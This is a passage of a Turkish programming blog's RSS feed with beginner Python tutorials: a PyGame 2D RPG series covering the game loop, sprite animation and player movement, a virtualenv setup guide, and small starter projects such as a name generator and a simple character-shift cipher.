&lt;p&gt;Şimdi proje klasöründeki &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt; core / managers / resourcemanager.py&lt;/code&gt; içine gelip aşağıdaki sınıfı oluşturun. Şimdilik sadece bir tane dosya var. İleride lazım oldukça ekleyeceğiz.&lt;/p&gt;

&lt;pre&gt;import os.path

import pygame


class ResourceManager(object):
    path = os.path.abspath(__file__ + &#39;/../../../data&#39;)

    sprites = {
        &#39;player&#39;: pygame.image.load(&#39;{}{}&#39;.format(path, &#39;/sprites/player.png&#39;))
    }
&lt;/pre&gt;

&lt;p&gt;Önce &lt;code&gt;abspath&lt;/code&gt; fonksiyonu yardımı ile dosya konumundan üç klasör üste çıkıp, o dizindeki data klasörünün adresini aldık. Ardından &lt;code&gt;sprites&lt;/code&gt; sözlüğü içindeki &lt;code&gt;player&lt;/code&gt; elemanına &lt;code&gt;data / sprites&lt;/code&gt; içindeki &lt;code&gt;player.png&lt;/code&gt; dosyasının (az önce indirdiğiniz spritesheet) adresini verdik. Yani &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt; proje-dizini / data / sprites / player.png&lt;/code&gt; adresini.&lt;/p&gt;

&lt;p&gt;İlerleyen bölümlerde bu sınıf içinde tiles, maps gibi sözlükler de oluşturacağız. Şimdilik bu kadarı yeterli.&lt;/p&gt;


&lt;h2&gt;Varlıklar&lt;/h2&gt;
&lt;p&gt;Oyun içindeki tüm varlıklar (oyuncular, düşmanlar, binalar, bitkiler, aletler vs.) için base (taban, temel) sınıf oluşturalım. Bu sınıfın görevi şöyle olacak;&lt;/p&gt;

&lt;pre&gt;Nesnenin koordinat ve boyut bilgilerini al.
Animasyon için verilen spritesheet dosyasını al.
Varsa nesneye ait aksiyonları al. (örneğin hareket etme)
Belirlenen hıza göre spritesheet içinden gerekli bölümü kes.
Hazırlanan animasyon karesini (frame) ekrana bas.&lt;/pre&gt;

&lt;p&gt;Şimdi &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt; core / __init__.py&lt;/code&gt; içinde aşağıdaki sınıfı oluşturun.&lt;/p&gt;

&lt;pre&gt;import time

from pygame import Rect


class Entity(object):
    def __init__(self, sheet, rect, actions=None):
        self.sheet = sheet
        self.rect = rect

        if actions:
            self.actions = actions

    offset = (0, 0)
    fps = 0.1
    updated_at = time.time()
    animating = False

    def update(self):
        self.animate()

    def animate(self):
        if time.time() - self.updated_at &gt; self.fps and self.animating:
            x, y = self.offset
            if x &lt; 3:
                x += 1
            else:
                x = 0
            self.offset = (x, y)

            self.updated_at = time.time()

    @property
    def image(self):
        x, y = self.offset
        width, height = self.size

        self.sheet.set_clip(
            Rect(
                x * width,
                y * height,
                width, height
            )
        )

        return self.sheet.subsurface(self.sheet.get_clip())

    @property
    def size(self):
        return self.rect.width, self.rect.height

    @property
    def location(self):
        return self.rect.left, self.rect.top

    @location.setter
    def location(self, value):
        x, y = value
        self.rect.left = x
        self.rect.top = y

    def render(self, surface):
        surface.blit(self.image, self.rect)
&lt;/pre&gt;

&lt;p&gt;Sınıf içindeki &lt;code&gt;offset&lt;/code&gt; &lt;a href=&quot;http://safkaninsan.blogspot.com/2015/03/python-demetler.html&quot; target=&quot;_blank&quot;&gt;demeti&lt;/a&gt; spritesheet içinden alınması gereken bölümü (satır, sütun) olarak tutuyor. Varsayılan olarak &lt;code&gt;(0, 0)&lt;/code&gt; yani sol üstten ilk kare. Sınıfın &lt;code&gt;image&lt;/code&gt; özelliğinde satır ve sütun numaraları genişlik ve yükseklik değerleriyle çarpılıp kesilmeye başlanması gereken pikseller bulunuyor.&lt;/p&gt;

&lt;p&gt;Rect nesnesi içinde demet halinde, x, y, genişlik ve yükseklik bilgilerini tutuyor. Sınıfın &lt;code&gt;size&lt;/code&gt; özelliği genişlik ve yüksekliği, &lt;code&gt;location&lt;/code&gt; özelliği x ve y değerlerini veriyor.&lt;/p&gt;

&lt;p&gt;Animasyon hızını ayarlamak için &lt;code&gt;fps&lt;/code&gt;, durdurmak ya da devam ettirmek için &lt;code&gt;animating&lt;/code&gt;, son değişiklik yapılan zamanı tutmak için &lt;code&gt;updated_at&lt;/code&gt; kullanılıyor.&lt;/p&gt;

&lt;p&gt;Gösterilecek bölümü (x, y) belirlemek için &lt;code&gt;animate&lt;/code&gt; fonksiyonunda şimdinin zamanından son değişiklik zamanı çıkarılıyor. Eğer sonuç &lt;code&gt;fps&lt;/code&gt; değerinden büyüksek ve nesne animasyon (animating) halinde ise &lt;code&gt;offset&lt;/code&gt; değerini yatayda &lt;code&gt;x += 1&lt;/code&gt; artırıyor. Eğer yatay offset 3&#39;ten büyükse (ki bu resmin dışında demektir) tekrar sıfıra eşitliyor. Bu şekilde bir animasyon döngüsü elde ediliyor. Bu üç rakamı sabit değil tabi kullanılan spritesheet&#39;teki frame sayısına göre değişir. Şimdilik 3 işimizi görüyor, ileride üzerinde oynama yaparız.&lt;/p&gt;

&lt;p&gt;Sınıfın &lt;code&gt;image&lt;/code&gt; özelliğinde spritesheet içinden kesilmesi gereken bölüm &lt;code&gt;offset&lt;/code&gt; ve &lt;code&gt;size&lt;/code&gt; özelliklerinin çarpılmasıyla bulunduktan sonra &lt;code&gt;set_clip&lt;/code&gt; fonksiyonu ile işaretleniyor. Ardından &lt;code&gt;get_clip&lt;/code&gt; ile kesip alınan bölüm &lt;code&gt;subsurface&lt;/code&gt; ile spritesheet içinden çıkartırıp &lt;code&gt;return&lt;/code&gt; ile döndürülüyor.&lt;/p&gt;

&lt;p&gt;Render fonksiyonu parametre olarak aldığı surface içine (Game sınıfındaki self.screen) nesne resmini (self.image) koordinat ve boyut bilgilerini (self.rect) kullanarak çiziyor.&lt;/p&gt;

&lt;h3&gt;Karakterler&lt;/h3&gt;
&lt;p&gt;Oyuncu, &lt;abbr title=&quot;Non-playing Character&quot;&gt;NPC&lt;/abbr&gt; ya da hikaye kahramanları için base (taban) sınıf oluşturalım. Bu sınıf &lt;code&gt;Entity&lt;/code&gt; nesnesinin tüm özelliklerini miras alacak.&lt;/p&gt;

&lt;p&gt;Şimdi &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt; core / characters / __init__.py&lt;/code&gt; içinde aşağıdaki sınıfı oluşturun.&lt;/p&gt;

&lt;pre&gt;from .. import Entity


class Character(Entity):
    speed = 4

    def __init__(self, actions, sheet, rect):
        super(Character, self).__init__(
            actions=actions,
            sheet=sheet,
            rect=rect
        )

    def do(self, keys):
        self.animating = False

        for key in self.actions.keys():
            if keys.get(key, False):
                params = self.actions.get(key)
                params.get(&#39;func&#39;)(
                    params.get(&#39;args&#39;)
                )

                x, y = self.offset
                y = params.get(&#39;offset&#39;, y)
                self.offset = (x, y)

                self.animating = True
&lt;/pre&gt;

&lt;p&gt;Karakterin hareket hızını belirlemek için &lt;code&gt;speed&lt;/code&gt; değişkenini kullanacağız. Yapıcı fonksiyonda (__init__) gelen parametreleri &lt;code&gt;super&lt;/code&gt; fonksiyonu ile &lt;code&gt;Entity&lt;/code&gt; sınıfına yollamaktan başka birşey yapmadık.&lt;/p&gt;

&lt;p&gt;Nesneye ait aksiyonları &lt;code&gt;do&lt;/code&gt; fonksiyonu işleyecek. Önce animasyonu durduruyor, sonra &lt;code&gt;actions&lt;/code&gt; sözlüğündeki tüm anahtarları tek tek geziyor ve eğer &lt;code&gt;keys&lt;/code&gt; sözlüğü içindeki değeri True ise sözlük içindeki fonksiyona, yine sözlük içindeki &lt;code&gt;args&lt;/code&gt; parametrelerini gönderiyor.&lt;/p&gt;

&lt;p&gt;Ardından sözlükteki &lt;code&gt;offset&lt;/code&gt; anahtarını alıp kendi &lt;code&gt;offset&lt;/code&gt; değerinin dikey pozisyonu (y) ile değiştiriyor. Ardından animasyona devam ettiriyor.&lt;/p&gt;

&lt;p&gt;Bu kısmın biraz havada kaldığının farkındayım. Amacı, her karaktere birbirinden farklı özellikler verebilmek. Az sonra oyuncu sınıfını yazarken anlayacaksınızdır.&lt;/p&gt;

&lt;h4&gt;Oyuncu&lt;/h4&gt;
&lt;p&gt;Buraya kadar biraz sıkılmış olabilirsiniz. Ama bir sonuca ulaşmaya çok az kaldı. Şimdi kullanıcının yönlendireceği karakteri oluşturacağız, &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt; core / characters / player.py&lt;/code&gt; içinde aşağıdaki sınıfı oluşturun.&lt;/p&gt;

&lt;pre&gt;import pygame

from . import Character
from ..managers.resourcemanager import ResourceManager


class Player(Character):
    speed = 4

    def __init__(self):
        self.rect = pygame.Rect(0, 0, 32, 48)
        actions = {
            &#39;273&#39;: {&#39;func&#39;: self.move, &#39;args&#39;: (0, -self.speed), &#39;offset&#39;: 3},   # K_UP
            &#39;275&#39;: {&#39;func&#39;: self.move, &#39;args&#39;: (self.speed, 0),  &#39;offset&#39;: 2},   # K_RIGHT
            &#39;274&#39;: {&#39;func&#39;: self.move, &#39;args&#39;: (0, self.speed),  &#39;offset&#39;: 0},   # K_DOWN
            &#39;276&#39;: {&#39;func&#39;: self.move, &#39;args&#39;: (-self.speed, 0), &#39;offset&#39;: 1},   # K_LEFT
        }

        super(Player, self).__init__(
            actions=actions,
            sheet=ResourceManager.sprites.get(&#39;player&#39;),
            rect=self.rect
        )

    def move(self, direction):
        x, y = self.location
        horizontaly, vertically = direction
        x += horizontaly
        y += vertically
        self.location = (x, y)
&lt;/pre&gt;

&lt;p&gt;Önce &lt;code&gt;self.rect&lt;/code&gt; ile oyuncunun konumunu (0, 0) ve boyutlarını (32 x 48) belirledik. Ardından az özce oluşturduğumuz &lt;code&gt;Character&lt;/code&gt; sınıfının kullanması için &lt;code&gt;actions&lt;/code&gt; sözlüğünü oluşturduk.&lt;/p&gt;

&lt;p&gt;Sözlük içindeki 273, 275, 274, 276 anahtarları sırasıyla yukarı, sağ, aşağı ve sol ok tuşlarını ifade ediyor. Her anahtarın içinde birer tane daha sözlük bulunuyor. Bunlara iç-sözlük diyelim.&lt;/p&gt;

&lt;p&gt;İç-sözlüğün &#39;func&#39; anahtarı aksiyon için gerekli olan fonksiyonu gösteriyor, &#39;args&#39; ise bu fonksiyonun parametrelerini. X ve y değerlerini &lt;code&gt;speed&lt;/code&gt; kadar artırıp azaltarak oyuncunun hareket etmesini sağladık. Son olarak &#39;offset&#39; sprite içindeki dikey konumu ifade ediyor.&lt;/p&gt;

&lt;p&gt;Daha önce de olduğu gibi alınan parametreleri &lt;code&gt;super&lt;/code&gt; fonksiyonuyla ebeveyn sınıfa (Character) gönderdik. Character sınıfından farklı olarak bu sefer &lt;code&gt;sheet&lt;/code&gt; değerini parametre olarak almayıp &lt;code&gt;ResourceManager&lt;/code&gt; içinden çağırdık.&lt;/p&gt;

&lt;p&gt;Yani aldığımız dosyanın yolculuğu şöyle olacak; ResourceManager &gt; Player &gt; Character &gt; Entity.&lt;/p&gt;

&lt;p&gt;Son olarak &lt;code&gt;actions&lt;/code&gt; sözlüğündeki offset verisini işlemek üzere &lt;code&gt;move&lt;/code&gt; fonksiyonunu tanımladık. Burada basitçe oyuncuyu verilen yöne doğru hareket ettiriyoruz.&lt;/p&gt;

&lt;h2&gt;Oyuncular Sahneye&lt;/h2&gt;
&lt;p&gt;Şimdi, &lt;code&gt;main.py&lt;/code&gt; içinde Player sınıfını import edin.&lt;/p&gt;

&lt;pre&gt;from core.characters.player import Player&lt;/pre&gt;

&lt;p&gt;Ardından &lt;code&gt;Game&lt;/code&gt; sınıfı içinde yeni bir Player örneği oluşturun.&lt;/p&gt;

&lt;pre&gt;class Game:
    def __init__(self, display, flags, depth):
        pygame.init()
        pygame.display.set_caption(&quot;2D RPG&quot;)
        self.screen = pygame.display.set_mode(display, flags, depth)
        self.running = True

    clock = pygame.time.Clock()
    fps = 30

    player = Player()

...
&lt;/pre&gt;

&lt;p&gt;Son olarak &lt;code&gt;render&lt;/code&gt; fonksiyonu içinde oyuncunun render&#39;ını çağırın.&lt;/p&gt;

&lt;pre&gt;...

    def render(self):
        self.screen.fill((255, 255, 255))

        self.player.render(self.screen)

        pygame.display.update()

...&lt;/pre&gt;

&lt;p&gt;İşte bu kadar! Şimdi &lt;code&gt;python main.py&lt;/code&gt; ile oyunu başlatın ve karakteri ok tuşları ile yönlendirmeyi deneyin.&lt;/p&gt;

&lt;figure&gt;&lt;img alt=&quot;Pygame 2D Oyun&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwgxVlJldGfYgipkbmNWtvCBGsNH3GbnBj803LAA-xTKKSwCuFdjYegZVoW3xlkc6PNH0iooVv9DRPMP_us-CrFa-D7odJmmKcZK6wgBMboTfmgj7WKMiroxBhqPWQUAgeJbdduSmsaOw/s1600/rpgss.png&quot;/&gt;&lt;figcaption&gt;Hiçbir sorun yoksa oyun buna benzer görünüyor olmalı.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Kolay gelsin!&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/06/pygame-ile-2d-rpg-oyunu-yapalm-2-bolum.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN8LoJorKNLBw_9SASfJvHX5oMEqv6HgmzkQ-Bygp1pRB4UBuuGe3fTDBspLtfF8JnIvxdPMKG9Xf9WIL9tPynKAsdj03Sz37h0nIdU4tVn5hBnXo_1KBno3JZo33kvcLLOU3wtDd-H3E/s72-c/spritexb-3432.png" height="72" width="72"/><thr:total>9</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-5121340331967186403</guid><pubDate>Fri, 05 Jun 2015 11:47:00 +0000</pubDate><atom:updated>2015-06-05T17:50:54.655+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">pygame</category><category domain="http://www.blogger.com/atom/ns#">python</category><title>PyGame ile 2D RPG Oyunu Yapalım (1. Bölüm)</title><description>&lt;p&gt;Çoktandır blogla ilgilenmiyordum. Dün akşam tasarımı baştan aşağı değiştirdikten sonra tekrar yazma isteği uyandı. Ne yazabilirim diye düşünürken, yarım kalan projeler içindeki RPG oyununu buldum. Hem Türkçe kaynak olur hem de projeyi tamamlarım diyerekten bu yazı dizisini başlatmaya karar verdim.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;PyGame ile 2D RPG Oyunu Yapalım (1. Bölüm)&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-2XSREQ4XHBEYFDrWadkRdLsAvkwWIUaTyHewB5NlJzfRa614lS9f3_GFYKUyXjReqnlreTUvuZ3jZp9lc98VenWrw89-VezoUHYIl2NrAM6liXjl3Pf0rgP_cfCGoZ05DQou6mv12o/s1600/2d-rpg.png&quot; /&gt;&lt;figcaption&gt;Bendeki projenin son hali şuanda böyle.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Haritadaki bozuklukların sebebi spritesheet&#39;i internetten bulmak yerine elle çizmeyi tercih etmem. Her kareyi (tile) ihtiyaç oldukça çiziyordum. Neyse...&lt;/p&gt;

&lt;h2&gt;Proje Yapısı&lt;/h2&gt;
&lt;p&gt;Önce oyun projesini oluşturup gerekli klasörleri, modülleri vs. oluşturalım.&lt;/p&gt;

&lt;pre&gt;Proje Dizini
├── core
│   ├── characters
│   │   ├── __init__.py
│   │   └── player.py
│   │
│   ├── managers
│   │   ├── __init__.py
│   │   ├── resourcemanager.py
│   │   └── tilemanager.py
│   │
│   ├── maps
│   │   ├── __init__.py
│   │   └── island.py
│   │
│   ├── mobs
│   │   └── __init__.py
│   │
│   ├── tiles
│   │   └── __init__.py
│   │
│   └── __init__.py
│
├── data
│   ├── maps
│   ├── sprites
│   └── tiles
│
└── main.py&lt;/pre&gt;

&lt;p&gt;Oyun modülleri &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt; core&lt;/code&gt; klasöründe, resim, map ya da xml gibi kaynak dosyaları da &lt;code&gt;&lt;i class=&quot;fa fa-fw fa-folder-o&quot;&gt;&lt;/i&gt; data&lt;/code&gt; klasöründe duracak.&lt;/p&gt;

&lt;p&gt;Klasörlerin içindeki &lt;code&gt;__init__.py&lt;/code&gt; dosyaları, klasörleri python paketi olarak görmesini sağlamak için. Çalıştığımız dosyaya &lt;code&gt;from characters.player import Player&lt;/code&gt; gibi import etmemize yarayacak.&lt;/p&gt;

&lt;h2&gt;Oyun Modülü ve Yaşam Döngüsü&lt;/h2&gt;
&lt;p&gt;Oyunun ana modülü &lt;code&gt;main.py&lt;/code&gt; olacak. PyGame benim sistemde kurulu olduğu için virtualenv kullanma gereği duymadım eğer isterseniz &lt;a href=&quot;http://safkaninsan.blogspot.com/2015/05/virtualenv-nedir-nasil-kurulur.html&quot; target=&quot;_blank&quot;&gt;şuraya&lt;/a&gt; bakabilirsiniz.&lt;/p&gt;

&lt;p&gt;Şimdi &lt;code&gt;main.py&lt;/code&gt; içine gelip aşağıdaki gibi ya da buna benzer bir sınıf oluşturun.&lt;/p&gt;
&lt;pre&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pygame


class Game:
    def __init__(self, display, flags, depth):
        pygame.init()
        pygame.display.set_caption(&quot;2D RPG&quot;)
        self.screen = pygame.display.set_mode(display, flags, depth)
        self.running = True

    clock = pygame.time.Clock()
    fps = 30

    __pressed = {}

    def start(self):
        self.load()
        self.loop()

    def load(self):
        pass

    def loop(self):
        while self.running:
            self.events()
            self.update()
            self.render()
            self.clock.tick(self.fps)

    def update(self):
        pass

    def render(self):
        self.screen.fill((255, 255, 255))

        # render işleri

        pygame.display.update()

    def events(self):
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                self.running = False
                pygame.quit()
            elif event.type == pygame.KEYDOWN or event.type == pygame.KEYUP:
                self.__pressed[str(event.key)] = event.type == pygame.KEYDOWN

if __name__ == &quot;__main__&quot;:
    game = Game((800, 600), 0, 32)
    game.start()
&lt;/pre&gt;

&lt;p&gt;Game sınıfı içinde önce &lt;code&gt;__init__&lt;/code&gt; fonksiyonunda PyGame&#39;i hazırlayıp, pencere başlığını belirleyip, çalışma alanını (self.screen) belirledik. Pencere değişkenleri sınıfın oluşturulması esnasında parametre olarak geliyor.&lt;/p&gt;

&lt;p&gt;Sınıf içindeki &lt;code&gt;clock&lt;/code&gt; oyun zamanını, &lt;code&gt;fps&lt;/code&gt; bir saniyede oynatılacak görüntü sayısını, &lt;code&gt;__pressed&lt;/code&gt; o an basılı olan klavye tuşlarını tutacak.&lt;/p&gt;

&lt;p&gt;Oyun döngesi &lt;code&gt;loop&lt;/code&gt; fonksiyonu içinde. Sırasıyla &lt;code&gt;events&lt;/code&gt; ile oyun olaylarını (tıklama, tuşa basma vs.) kontrol edecek, &lt;code&gt;update&lt;/code&gt; ile -oyuncu, düşman gibi- oyun objelerinin özelliklerini belirleyecek, &lt;code&gt;render&lt;/code&gt; ile ekrana basılması gereken resimleri çizecek ve son olarak &lt;code&gt;clock.tick&lt;/code&gt; ile oyun saatini ilerletecek.&lt;/p&gt;

&lt;p&gt;Events fonksiyonunda o anda oyun içinde gerçekleşen olaylar (pygame.event.get) içinden işimize yarayan eventleri aldık. Oyun kapatıldığında oyun yaşam döngüsünü kontrol eden &lt;code&gt;running&lt;/code&gt; değişkeni False oldu. Eğer klavyeden bir tuşa basılmış (Key Down) ya da tuştan el çekilmişse (Key Up) &lt;code&gt;__pressed&lt;/code&gt; içindeki tuş değeri True ya da False oldu.&lt;/p&gt;

&lt;p&gt;Son olarak oyun sınıfının -gerekli parametreleri vererek- bir örneğini oluşturup &lt;code&gt;start&lt;/code&gt; fonksiyonu ile başlattık. Hiç bir sorun yoksa &lt;code&gt;python main.py&lt;/code&gt; yaptığınızda karşınıza siyah bir ekran gelecektir.&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;fa fa-fw fa-heart&quot;&gt;&lt;/i&gt; Sonraki bölüm: &lt;a href=&quot;http://safkaninsan.blogspot.com/2015/06/pygame-ile-2d-rpg-oyunu-yapalm-2-bolum.html&quot; target=&quot;_blank&quot;&gt;Oyuncu Hareketi ve Animasyon&lt;/a&gt;&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/06/pygame-ile-2d-rpg-oyunu-yapalm-1-bolum.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-2XSREQ4XHBEYFDrWadkRdLsAvkwWIUaTyHewB5NlJzfRa614lS9f3_GFYKUyXjReqnlreTUvuZ3jZp9lc98VenWrw89-VezoUHYIl2NrAM6liXjl3Pf0rgP_cfCGoZ05DQou6mv12o/s72-c/2d-rpg.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-2504101029494866425</guid><pubDate>Fri, 15 May 2015 19:42:00 +0000</pubDate><atom:updated>2015-05-15T22:43:01.458+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">python</category><category domain="http://www.blogger.com/atom/ns#">virtualenv</category><title>Virtualenv ne işe yarar, nasıl kurulur?</title><description>&lt;p&gt;Virtualenv, projenizde gerekli olan paketleri sistemden bağımsız olarak kurup kullanmanızı sağlayan bir &lt;abbr title=&quot;virtual environment&quot;&gt;sanal ortam&lt;/abbr&gt; sağlar. Mesela kullanmak istediğiniz bir modül sistem üzerinde zaten yüklü ama proje içinde aynı modülün daha düşük sürümünü kullanmak istediniz; ama direkt sistem üzerine kurarak karışıklık yaratmak da istemiyorsunuz. Bu durumda virtualenv ile sanal ortam oluşturup gerekli paketleri oraya yüklersiniz, işiniz bittiğinde de tek satır komutla silersiniz.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;Virtualenv ne işe yarar, nasıl kurulur?&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyxX3vhm9vvYvLUSbTn3Aq63_8mKTJmF7_MiyuEeelrkEBn2XffJP5EG4DUK6r56Oe6SaBDqobw0vcITTq8vA3MgI1VRkXsRfPB3r4XdymlmzV6dmptA0abDFxLWLN1EX37EBUcECzBrE/s1600/virtualenv.png&quot; /&gt;&lt;/figure&gt;

&lt;h2&gt;Kurulum&lt;/h2&gt;

&lt;p&gt;Önce sistemde zaten kurulu olup olmadığını anlamak için terminalde &lt;code&gt;virtualenv -version&lt;/code&gt; komutunu yazın. Eğer hata alıyorsanız kurulu değil demektir. Aşağıdaki komutla yükleyin;&lt;/p&gt;

&lt;pre&gt;sudo apt-get install python-virtualenv&lt;/pre&gt;

&lt;p&gt;Ya da pip ile yüklemek isterseniz &lt;code&gt;pip install virtualenv&lt;/code&gt; yapabilirsiniz.&lt;/p&gt;

&lt;h2&gt;Ortam Oluşturma&lt;/h2&gt;
&lt;p&gt;Yüklendikten sonra ortamı yaratmak istediğiniz dizine geldikçe basitçe &lt;code&gt;virtualenv proje-adi&lt;/code&gt; şeklinde oluşturabilirsiniz. Eğer bulunduğunuz dizinden başka bir yerde oluşturmak isterseniz &lt;code&gt;virtualenv /home/umut/proje-adi&lt;/code&gt; gibi tam yolu vermelisiniz.&lt;/p&gt;

&lt;p&gt;Komutu verdikten sonra belirlediğiniz isimli klasöre sanal ortam için gerekli dosyaları oluşturmuş olacaktır. Dizin içinde &lt;em&gt;bin&lt;/em&gt;, &lt;em&gt;include&lt;/em&gt;, &lt;em&gt;lib&lt;/em&gt; ve &lt;em&gt;local&lt;/em&gt; klasörlerini görüyorsanız büyük ihtimalle sorun yoktur.&lt;/p&gt;

&lt;h2&gt;Ortama Paket Yükleme&lt;/h2&gt;
&lt;p&gt;Ardından &lt;code&gt;cd proje-adi&lt;/code&gt; ile oluşturulan klasöre girdikten sonra &lt;code&gt;source bin/activate&lt;/code&gt; diyerek virtualenv&#39;i aktif edin. Terminaldeki kullanıcı adınızın yanında parantez içinde proje adının çıktığını göreceksiniz.&lt;/p&gt;

&lt;p&gt;Bundan sonra yükleyeceğiniz tüm paketler aktif olan sanal ortam için geçerli olacaktır. Normal terminale dönmeniz için de &lt;code&gt;deactivate&lt;/code&gt; komutunu vermeniz yeterli olacaktır.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/05/virtualenv-nedir-nasil-kurulur.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyxX3vhm9vvYvLUSbTn3Aq63_8mKTJmF7_MiyuEeelrkEBn2XffJP5EG4DUK6r56Oe6SaBDqobw0vcITTq8vA3MgI1VRkXsRfPB3r4XdymlmzV6dmptA0abDFxLWLN1EX37EBUcECzBrE/s72-c/virtualenv.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-9044525358556822328</guid><pubDate>Sat, 02 May 2015 15:08:00 +0000</pubDate><atom:updated>2015-05-06T22:15:45.624+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">python</category><title>Yeni Başlayanlar için Python Projeleri</title><description>&lt;p&gt;Hem boş zamanlarda boş durmamak(?) hem de öğrenmek için &lt;a href=&quot;https://i.imgur.com/b91nRlU.jpg&quot; target=&quot;_blank&quot;&gt;şu listedeki&lt;/a&gt; projeleri sırası karışık olarak (kolaydan zora) yapmayı planlıyorum. İsteyen incelesin diye her yaptığımı buraya da ekleyeceğim.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;BAD MOTHER FUCKER&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmtgygmy0sOggZpOkT8NuDB52Fr2-WUFk9xm5Rq6nNwkATZELCtG1SPeMFVxECO2eIhR1MdND-zORKgr16yhe_9JxAK4gcCcwuElJICme77PdXtfjy6x1UHJCApUpK0t-0oRFfbOlscX4/s1600/pulp-fiction.jpg&quot; /&gt;&lt;figcaption&gt;Bir gelenek olarak; görselle yazının bir alakası yok.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h3&gt;01 - İsim oluşturucu&lt;/h3&gt;
&lt;p&gt;Belirlenen ad ve soyad listeleri içinden rastgele seçim yaparak sahte isimler oluşturur.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: random&lt;/p&gt;
&lt;pre&gt;import random

def generate_name():
    first_names = [&quot;Albert&quot;, &quot;Charles&quot;, &quot;Nicolas&quot;, &quot;Michael&quot;, &quot;Anders&quot;, &quot;Isaac&quot;, &quot;Stephen&quot;, &quot;Marie&quot;, &quot;Richard&quot;]
    last_names = [&quot;Einstein&quot;, &quot;Darwin&quot;, &quot;Copernicus&quot;, &quot;Faraday&quot;, &quot;Celsius&quot;, &quot;Newton&quot;, &quot;Hawking&quot;, &quot;Curie&quot;,&quot;Dawkins&quot;]
    return &quot;{} {}&quot;.format(random.choice(first_names), random.choice(last_names))

for i in range(5):
    print(generate_name())&lt;/pre&gt;

&lt;h3&gt;02 - Sıcaklık çevirici&lt;/h3&gt;
&lt;p&gt;Yapılan seçime göre (1/2) derece cinsinden girilen sıcaklık değerini celsius&#39;tan fahrenheit&#39;a ya da tam tersi yönde çeviren program.&lt;/p&gt;

&lt;pre&gt;print(&quot;-&quot; * 30)
print(&quot;1- Celsius to fahrenheit&quot;)
print(&quot;2- Fahrenheit to celsius&quot;)
print(&quot;-&quot; * 30)

choice = raw_input(&quot;Your choice (1/2): &quot;)

if choice == &quot;1&quot;:
    print(&quot;\n# Celsius to Fahrenheit&quot;)
    celsius = float(raw_input(&quot;Degree to convert: &quot;))
    fahrenheit = (celsius * 1.8) + 32
    print(&quot;{} degree celsius is equal to {} degree fahrenheit.&quot;.format(celsius, fahrenheit))
elif choice == &quot;2&quot;:
    print(&quot;\n# Fahrenheit to Celsius&quot;)
    fahrenheit = float(raw_input(&quot;Degree to convert: &quot;))
    celsius = (fahrenheit - 32) / 1.8
    print(&quot;{} degree fahrenheit is equal to {} degree celsius.&quot;.format(fahrenheit, celsius))
else:
    print(&quot;Congratulations! You hacked the super-program.&quot;)&lt;/pre&gt;

&lt;h3&gt;03 - Kaç saniye yaşadın?&lt;/h3&gt;
&lt;p&gt;Kullanıcıdan gün.ay.yıl formatında alınan doğum tarihiyle bugünün farkı hesaplanıp saniye cinsinden ekrana yazılıyor.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: datetime&lt;/p&gt;
&lt;pre&gt;from datetime import *

birth = datetime.strptime(raw_input(&quot;Your birth date (d.m.Y): &quot;), &quot;%d.%m.%Y&quot;)
age = datetime.now() - birth

print(&quot;You survived {} seconds.&quot;.format(age.total_seconds()))&lt;/pre&gt;

&lt;h3&gt;04 - Basit şifreleme / çözümleme&lt;/h3&gt;
&lt;p&gt;Girilen metindeki her karakterin ascii kod değeri kullanıcıdan alınan değer kadar (i) artırılıyor. Şifrelenen metni çözmek için de tam tersi azaltılıyor.&lt;/p&gt;
&lt;pre&gt;def encrypt(text, value, output=&quot;&quot;):
    for char in text:
        output = &quot;{}{}&quot;.format(output, chr(ord(char) + value))
    return output

def decrypt(text, value, output=&quot;&quot;):
    for char in text:
        output = &quot;{}{}&quot;.format(output, chr(ord(char) - value))
    return output

